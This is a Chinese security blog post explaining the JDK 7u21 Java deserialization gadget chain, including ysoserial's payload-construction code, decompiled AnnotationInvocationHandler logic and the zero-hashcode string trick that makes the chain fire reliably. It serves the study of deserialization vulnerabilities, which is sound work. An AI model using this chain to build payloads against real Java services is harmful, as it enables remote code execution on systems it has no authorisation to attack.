JDK原生反序列化利用链7u21
前言
JDK 7u21以前只粗略的扫过一眼,一看使用了AnnotationInvocationHandler,就以为还是和 CC1 一样差不多的利用方式,但最近仔细看了下利用链发现事情并不简单~
7u21 要求你能理解:
- TemplatesImpl 代码执行原理
- 动态代理是什么
- AnnotationInvocationHandler 利用原理
其实7u21是对AnnotationInvocationHandler 的进一步挖掘。
调用链
- HashSet.readObject()
- map.put(k,v)。(k为代理对象)
- k.equals(last_k) (last_k 为上一个put的元素)
- k.equalImpl(). (触发恶意invoker)
- 反射执行 last_k.任意方法 (last_k 为恶意TemplatesImpl 即可代码执行)

简单描述就是:
LinkedHashSet 在反序列化初始化时会将对象重新一个一个put进内部数据结构table中,如果put的两个元素的key的hash一样,则要进行进一步的判断,要调用后放入元素的equal方法去对比前面元素的值,而如果这个后面元素的key恰好是一个经过AnnotationInvocationHandler包装的Templates动态代理对象,则在进行put时候会分别调用 AnnotationInvocationHandler 的hashImpl和equlImpl,恰好因为hashImpl 的计算会最终调用到equlImpl,通过equlImpl中的var5.invoke() ,反射执行Templates 的newTransformer方法,进而导致代码执行。
我们来看下yso的代码:
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
最终的目标是要调用EvilTemples的newTransformer方法,在AnnotationInvocationHandler 中有个equalsImpl 方法:
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
抛开干扰代码存在一个反射执行的方法:
Method[] var2 = this.getMemberMethods();
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null)
{
....
}else{
var8 = var5.invoke(var1);
}
其中getMemberMethods 来自type的所有方法:

那意思就是equalsImpl能够触发一个传入对象x的恶意方法,有没有存在一个这样的对象呢,当然是有的,那就是 TemplatesImpl,TemplatesImpl.newTransformer()和getOutputProperties() 都可以触发恶意代码执行,其中asOneOfUs判断是不是动态代理的class,所以只要保证var1 不是动态代理就ok。
所以我们就需要把type设置为TemplatesImpl,var1 也为TemplatesImpl对象即可,var1也即hashset的旧元素,为了能触发恶意invoker,所以hashset的第二个元素要为一个经过AnnotationInvocationHandler包装的对象。
也就是:

步骤很清晰,有了前面几篇文章的基础后没必要再分析TemplatesImpl和AnnotationInvocationHandler利用过程了,重点看下以下几个问题
疑问

- 上图为Hashset put的源码,为了要执行euqals,就要保证map的两个key hash一致,且两个key不想等,key分别为templates和proxy,是两个不同的对象,两个hash是如何保持一致的?
- hash为0的字符串的作用是啥?
- 为什么要用LinkedHashSet,直接用HashSet行不行?
1. 两个不相等的对象如何保证hashset.hash()后结果一致?
在7u21的反序列化执行载体hashset中,添加了两个元素,一前一后分别是templates和proxy,虽然proxy对象是经过AnnotationInvocationHandler包装的Templates 代理对象,但这两个对象是不相等的,为了能执行后续步骤,让流程执行到for循环下的if预计又必须保证两个对象的hashcode一致才能进一步执行到euqals方法。

如果只是普通的两个Temples对象那必然是不相等的,但第二个元素proxy经过AnnotationInvocationHandler包装的Templates对象,当proxy执行hashcode时,会直接执行handler.invoker函数:

同时,判断执行方法为hashcode则会跳转到hashCodeImpl方法:

跳转到hashCodeImpl 时我们发现,关于proxy的hashcode计算已经和proxy本身没有关系了,私有变量memberValues是一个map对象,图片中的1会进行迭代,取出其中元素key和value 分别调用hashcode()进行异或运算然后乘以127 得到最后prxoy的hashcode值。
所以为了让prxoy和templates 的hashcode一致,我们只要 构造一个map,使其满足:
127 * key.hashcode ^ value.hashcode === templates.hashcode
这里顺便解释了:
hash为0的字符串的作用是啥?
那我们可以找到,因为对象的hashcode都是取的内存地址做一定的取整运算得到,所以如果硬凑两个不相等对象做异或会很复杂,结果必然不固定,所以我们直接令 key.hashcode=0, 127*key.hashcode 也就为0,让value 直接等于templates 即可让 proxy的hashcode等于templates,而f5a5a608 的hashcode就为0,所以这个map为:
map.put("f5a5a608",templates)
这样就满足了对象不相等,但hashcode却是一样的结果,也就能进行到euqals方法触发temples.newTransformer() 方法。
为什么要用LinkedHashSet,直接用HashSet行不行?
LinkedHashSet内部的数据结构是基于hashmap,所以理论上HashSet、LinkedHashMap、hashmap都可以,但因为类似我上面讲的欢迎,对于对象的hash值,是根据对象保持在内存中的地址取整得到的,所以就会存在一定的随机性,不管是序列化还是反序列化都无法保证proxy做为第二个元素被添加进去,也就没发保证euqal方法会触发proxy的invoker,无法执行templates的可执行方法。
我自己也做过实验,使用hashmap作为载体会存在偶然无法代码执行的情况,所以为了保证稳定性可以使用带顺序的LinkedHashSet、或者LinkedHashmap,LinkedHashmap value设置为相同的内置基本类型即可。

结语
由名字可知,jdk7u21 只能用于7u21以下的版本,因为在高版本中,在handler euqalmpl 中增加了对 传入对象可执行方法对判断,不能像过去一样执行任意方法:

公众号
欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!

JDK原生反序列化利用链7u21的更多相关文章
- Apache Common-collection 反序列化利用链解析--TransformedMap链
Apache Common-collection 反序列化利用链解析 TransformedMap链 参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com) poc ...
- ThinkPHP5.1 反序列化利用链
笔记里直接复制出来的 1 composer直接获取框架代码 ➜ composer create-project --prefer-dist topthink/think tp5137 ➜ ...
- commons-collections利用链学习总结
目录 1 基础 ConstantTransformer InvokeTransformer ChainedTransformer LazyMap TiedMapEntry TransformingCo ...
- [Java反序列化]jdk原生链分析
jdk原生链分析 原文链接 作为jdk中目前发现的原生链,还是有必要要分析这个用法的.全文仅限尽可能还原挖掘思路 JDK7u21 在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位 ...
- 代理模式:利用JDK原生动态实现AOP
代理模式:利用JDK原生动态实现AOP http://www.cnblogs.com/qiuyong/p/6412870.html 1.概述 含义:控制对对象的访问. 作用:详细控制某个(某类)某对象 ...
- FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链
0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...
- fastjson反序列化-JdbcRowSetImpl利用链
fastjson反序列化-JdbcRowSetImpl利用链 JdbcRowSetImpl利用链 fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs. ...
- CommonsCollections1 反序列化利用链分析
InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...
- Fastjson JdbcRowSetImpl利用链学习
JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...
随机推荐
- qt work
auto folder1="./.mm"; QDir *folder = new QDir; bool exist = folder->exists(folder1); if ...
- 解析一个HTML字符串
存在问题 来自用户输入,一个文件或一个网站的HTML字符串,你可能需要对它进行解析并取其内容,或校验其格式是否完整,或想修改它.怎么办?jsonu能够帮你轻松解决这些问题 解决方法 使用静态Jsoup ...
- Map 综述(四):彻头彻尾理解 HashTable
摘要: Hashtable与HashMap都是Map族中较为常用的实现,也都是Java Collection Framework 的重要成员,它们的本质都是 链表数组.本文深入JDK源码并从定义.构造 ...
- BUUCTF-[CISCN2019 华东南赛区]Web4
BUUCTF-[CISCN2019 华东南赛区]Web4 看题 点击Read somethings,会跳转到 http://3fd8b1f9-614f-47ff-8e79-0f678e7bb4eb.n ...
- opengl中标准矩形像素点手动网格化为三角形条带的实现
这里以一张矩形图片为例进行说明: 一张图片的像素点是孤立的,导入opengl中进行绘制出来,看起来没问题,但是当我们放大图片时候,显示的就是一个个孤立的点,而没有像看图软件放大图片那样看起来还是连续的 ...
- IDEA使用教程+JRebel破解
下载与安装 https://www.jetbrains.com 不装任何插件 破解码 K03CHKJCFT-eyJsaWNlbnNlSWQiOiJLMDNDSEtKQ0ZUIiwibGljZW5zZW ...
- set类型数据的操作指令
集合无序,无下标. 1. 也可以在集合上继续添加元素. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11.
- noip模拟29
这次终于是早上考试了 早上考试手感不错,这次刷新了以前的最高排名- %%%cyh巨佬 \(rk1\) %%%CT巨佬 \(t2\) 90 纵观前几,似乎我 \(t3\) 是最低的-- 总计挂分10分, ...
- DSP开发笔记一
前言 本笔记首先对DSP的特点及其选型进行了描述,然后重点记录DSP开发环境的搭建及基础工程示例,对为DSP开发新手有一定的指导作用. 1. DSP简介 1.1 主要特点 在一个指令周期内可完成一 ...
- Stream流思想和常用方法
一.IO流用于读写:Stream流用于处理数组和集合数据: 1.传统集合遍历: 2.使用Stream流的方式过滤: 其中,链式编程(返回值就是对象自己)中,filter使用的是Predicate函数式 ...